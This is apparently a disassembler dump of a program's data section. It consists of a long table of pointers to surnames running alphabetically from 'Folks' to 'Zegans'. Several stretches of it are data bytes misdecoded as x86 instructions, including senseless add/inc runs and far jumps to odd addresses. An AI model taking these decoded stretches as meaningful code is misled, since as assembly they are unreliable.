dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
; ---------------------------------------------------------------------------
loc_42DE8C: ; CODE XREF: ___:loc_42DE8Cj
jo short loc_42DE8C
inc edx
add [eax-2], ch
inc edx
add [eax-2], ah
inc edx
add [eax-2], bl
inc edx
add [eax-2], dl
inc edx
add [eax-2], cl
inc edx
add [eax-2], al
inc edx
add [eax], bh
inc byte ptr [edx+0]
xor dh, bh
inc edx
add [eax], ch
inc byte ptr [edx+0]
and dh, bh
inc edx
add [eax], bl
inc byte ptr [edx+0]
adc dh, bh
inc edx
add [eax], cl
inc byte ptr [edx+0]
add dh, bh
inc edx
add al, dh
std
inc edx
add al, ch
std
inc edx
add ah, bl
std
inc edx
add al, dl
std
inc edx
add al, cl
std
inc edx
add [ebp+edi*8-24FFFBEh], bh
inc edx
add [eax-63FFBD03h], ch
std
inc edx
add [ebp+edi*8-273FFBEh], dl
inc edx
add [ebp+edi*8-283FFBEh], al
inc edx
add [ebp+edi*8+42h], dh
add [eax-3], ch
inc edx
add [eax-3], ah
inc edx
add [ebp+edi*8+42h], dl
add [ebp+edi*8+42h], cl
add [ebp+edi*8+42h], al
add [eax], bh
std
inc edx
add [eax], dh
std
inc edx
add [eax], ch
std
inc edx
add [eax], ah
std
inc edx
add [eax], bl
std
inc edx
add [eax], dl
std
inc edx
add [eax], cl
std
inc edx
; ---------------------------------------------------------------------------
db 0
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
; ---------------------------------------------------------------------------
or ah, ch
inc edx
add ah, bh
jmp short loc_42E6D9
; ---------------------------------------------------------------------------
align 4
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
; ---------------------------------------------------------------------------
fsubr st, st(3)
inc edx
add al, dl
jmp short loc_42E6ED
; ---------------------------------------------------------------------------
align 4
enter 42EBh, 0
shr bl, 42h
add [ebx+ebp*8-1457FFBEh], dh
inc edx
add [eax-67FFBD15h], ah
jmp short loc_42E705
; ---------------------------------------------------------------------------
align 4
dd offset aTukan ; "Tukan"
; ---------------------------------------------------------------------------
mov bl, ch
inc edx
add [eax+780042EBh], al
jmp short loc_42E715
; ---------------------------------------------------------------------------
align 4
dd offset aTwells ; "Twells"
db 64h
; ---------------------------------------------------------------------------
loc_42E6D9: ; CODE XREF: ___:0042E695j
jmp short loc_42E71D
; ---------------------------------------------------------------------------
align 4
dd offset aUllman ; "Ullman"
; ---------------------------------------------------------------------------
push eax
jmp short loc_42E725
; ---------------------------------------------------------------------------
align 4
dd offset aUpsdell ; "Upsdell"
; ---------------------------------------------------------------------------
inc eax
jmp short near ptr byte_42E72D
; ---------------------------------------------------------------------------
align 4
db 30h
; ---------------------------------------------------------------------------
loc_42E6ED: ; CODE XREF: ___:0042E6A9j
jmp short loc_42E731
; ---------------------------------------------------------------------------
align 10h
sub bl, ch
inc edx
add [eax], ah
jmp short loc_42E739
; ---------------------------------------------------------------------------
align 4
sbb bl, ch
inc edx
add [eax], dl
jmp short loc_42E741
; ---------------------------------------------------------------------------
align 10h
or bl, ch
inc edx
add ah, bh
loc_42E705: ; CODE XREF: ___:0042E6C1j
jmp far ptr 42h:0EAF40042h
; ---------------------------------------------------------------------------
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
db 0D4h
; ---------------------------------------------------------------------------
loc_42E715: ; CODE XREF: ___:0042E6D1j
jmp far ptr 42h:0EACC0042h
; ---------------------------------------------------------------------------
db 0C0h
; ---------------------------------------------------------------------------
loc_42E71D: ; CODE XREF: ___:loc_42E6D9j
jmp far ptr 42h:0EAB00042h
; ---------------------------------------------------------------------------
movsb
loc_42E725: ; CODE XREF: ___:0042E6E1j
jmp far ptr 42h:0EA980042h
; ---------------------------------------------------------------------------
db 90h
byte_42E72D db 0EAh, 42h, 0 ; CODE XREF: ___:0042E6E9j
db 88h
; ---------------------------------------------------------------------------
loc_42E731: ; CODE XREF: ___:loc_42E6EDj
jmp far ptr 42h:0EA7C0042h
; ---------------------------------------------------------------------------
db 70h
; ---------------------------------------------------------------------------
loc_42E739: ; CODE XREF: ___:0042E6F5j
jmp far ptr 42h:0EA640042h
; ---------------------------------------------------------------------------
pop eax
loc_42E741: ; CODE XREF: ___:0042E6FDj
jmp far ptr 42h:0EA4C0042h
; ---------------------------------------------------------------------------
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
